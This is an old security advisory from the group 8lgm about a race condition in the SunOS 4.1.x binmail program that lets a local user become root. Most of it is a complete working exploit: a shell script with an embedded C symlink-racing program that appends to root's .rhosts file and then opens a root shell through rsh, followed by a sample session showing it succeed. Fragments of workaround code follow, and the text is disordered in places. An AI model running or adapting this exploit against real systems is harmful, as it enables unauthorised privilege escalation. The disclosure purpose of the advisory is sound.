binmail(1) (/usr/bin/mail)
SunOS 4.1.x
(Possibly other platforms - see DISCUSSION)
A race condition exists in binmail(1), which allows files to be created in arbitrary places on the filesystem. These files can be owned by arbitrary (usually system) users.
Any user with access to binmail(1) can become root.
This example demonstrates how to become root on most affected machines by creating/appending-to root's .rhosts file. Please do not do this unless you have permission.
Create the following file, 'mailscript':
8<--------------------------- cut here ---------------------------- #!/bin/sh # # Syntax: mailscript user target-file rsh-user # # This exploits a flaw in SunOS binmail(1), and attempts # to become the specified 'user', by creating a .rhosts # file and using rsh. # # Written 1992 by [8LGM] # Please do not use this script without permission. # PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS PROG="`basename $0`" SPOOLDIR="/var/spool/mail" # Check args if [ $# -ne 3 ]; then echo "Syntax: $PROG user target-file rsh-user" exit 1 fi TARGET="$1" TARGET_FILE="$2" RSH_USER="$3" # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi # Check user exists grep "^$TARGET:" /etc/passwd >/dev/null 2>&1 if [ $? -ne 0 ]; then echo "$PROG: Warning, $TARGET not in local passwd file" # We continue though, might be in the YP passwd file fi # Check target file if [ -f $TARGET_FILE ]; then OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null echo "$PROG: Warning, $TARGET_FILE already exists, appending" else OLD_TARGET_LEN=0 fi # Delete spool file if its a link, and we are able if [ -h "$SPOOLDIR/$TARGET" ]; then rm -f "$SPOOLDIR/$TARGET" # Dont worry about errors, we catch it below fi # Check mail file if [ -f "$SPOOLDIR/$TARGET" ]; then echo "$PROG: ${TARGET}'s mail file exists." exit 1 fi # Make the race program cat >mailrace.c << 'EOF' #includemain(argc,argv) int argc; char *argv[]; { if (argc != 3) { fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]); exit(1); } for (;;) { unlink(argv[1]); symlink(argv[2], argv[1]); } } EOF cc -o mailrace mailrace.c # Check we now have mailrace if [ ! -x "mailrace" ]; then echo "$PROG: couldnt compile mailrace.c - check it out" exit 1 fi # Start mailrace ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE & RACE_PID=$! # Send mail to the user NEW_TARGET_LEN=$OLD_TARGET_LEN while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do echo "Sending mail to $TARGET" echo "localhost $USER" | /bin/mail $TARGET sleep 10 kill -STOP $RACE_PID rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1 if [ -f $SPOOLDIR/$TARGET ]; then echo "$PROG: Sorry, we lost the race - cant try again." kill -9 $RACE_PID exit 1 fi kill -CONT $RACE_PID if [ -f "$TARGET_FILE" ]; then NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null else NEW_TARGET_LEN=0 fi if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then echo "We drew the race that time, trying again" fi done # We won the race kill -9 $RACE_PID echo "We won the race, becoming $RSH_USER" rsh localhost -l $RSH_USER sh -i exit 0 8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
Check what root users are on the system:
> % grep :0: /etc/passwd root:*:0:1:Operator:/:/bin/csh sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag +::0:0:::
We choose a user with UID 0, but without a /var/spool/mail/
Execute mailscript. The user is sysdiag, the target file is /.rhosts, and
the user to rsh to on success is root:
This problem exists because /var/spool/mail is rwxrwxrwt. (Other
systems have their spool dir rwxrwxr-x, and run their MUA's sgid
mail). Before it opens the mail file, binmail does an lstat(2)
to check that it is not about to write to a linked file. The
intention is to prevent arbitrary files from being created or
appended to.
However, there exists a window of opportunity between lstat(2)
and open(2); if a link is created after lstat, open will then
follow the link. This is not a straightforward task, as it is
not possible to predict when to create the link.
Therefore it is necessary to have a program (mailrace) which
continually creates links and then removes them. To exploit the
window of opportunity, it is required that the link has been
removed before the context switch for lstat, but exists for open.
There are three possible outcomes for this race:-
In tests, it would appear that the chances of 1) and 2)
occurring are approximately equal, with the chance of 3) being
somewhat lower.
Please note that this vulnerability may exist on other
platforms where the mail spool directory has mode 777 and
/bin/mail is setuid root.
We have therefore decided that the following is the only
viable method:
8lgm-request@bagpuss.demon.co.uk (Request for [8lgm] Advisories)
8lgm@bagpuss.demon.co.uk (General enquiries)
System Administrators are encouraged to contact us for any
other information they may require about the problems described
in this advisory.
We welcome reports about which platforms this flaw does or does
not exist on.
NB: 8lgm-bugs@bagpuss.demon.co.uk is intended to be used by
people wishing to report which platforms/OS's the bugs in our
advisories are present on. Please do *not* send information on
other bugs to this address - report them to your vendor and/or
comp.security.unix instead.
> % ls -l /var/spool/mail/sysdiag
/var/spool/mail/sysdiag not found
> % chmod 700 mailscript
> % ./mailscript sysdiag /.rhosts root
mailscript: Warning, /.rhosts already exists, appending
Sending mail to sysdiag
We won the race, becoming root
./mailscript: 11051 Killed
#
DISCUSSION:
WORKAROUND & FIX:
8<--------------------------- cut here ----------------------------
/*
* makemailboxes.c
*
* Written 1994 by [8LGM]
*
* This program is part of a workaround for the SunOS 4.1.x /bin/mail
* bug described in the 8LGM Advisory. This program should be executed
* as root, and will create a mailbox for each user that doesnt have one.
* In order for this workaround to be effective, /usr/ucb/Mail also needs
* to be wrapped with wrapper.c.
*/
#include
8<--------------------------- cut here ----------------------------
/*
* wrapper.c
*
* Written 1994 by [8LGM]
*
* This program is part of a workaround for the SunOS 4.1.x /bin/mail
* bug described in the 8LGM Advisory. Programs such as /usr/ucb/Mail
* that will delete the user's mailbox when he/she has no mail need to
* be wrapped with this.
*
* Install as follows:
*
* # cc -O -o wrapper wrapper.c
* # mv /usr/ucb/Mail /usr/ucb/Mail.old
* # mv /usr/ucb/mail /usr/ucb/mail.old
* # cp wrapper /usr/ucb/Mail
* # chmod 755 /usr/ucb/Mail
* # ln /usr/ucb/Mail /usr/ucb/mail
*
* DO NOT INSTALL THIS PROGRAM SET-UID/SET-GID ANYTHING.
*/
#include
FEEDBACK AND CONTACT INFORMATION:
8lgm-bugs@bagpuss.demon.co.uk (To report security flaws)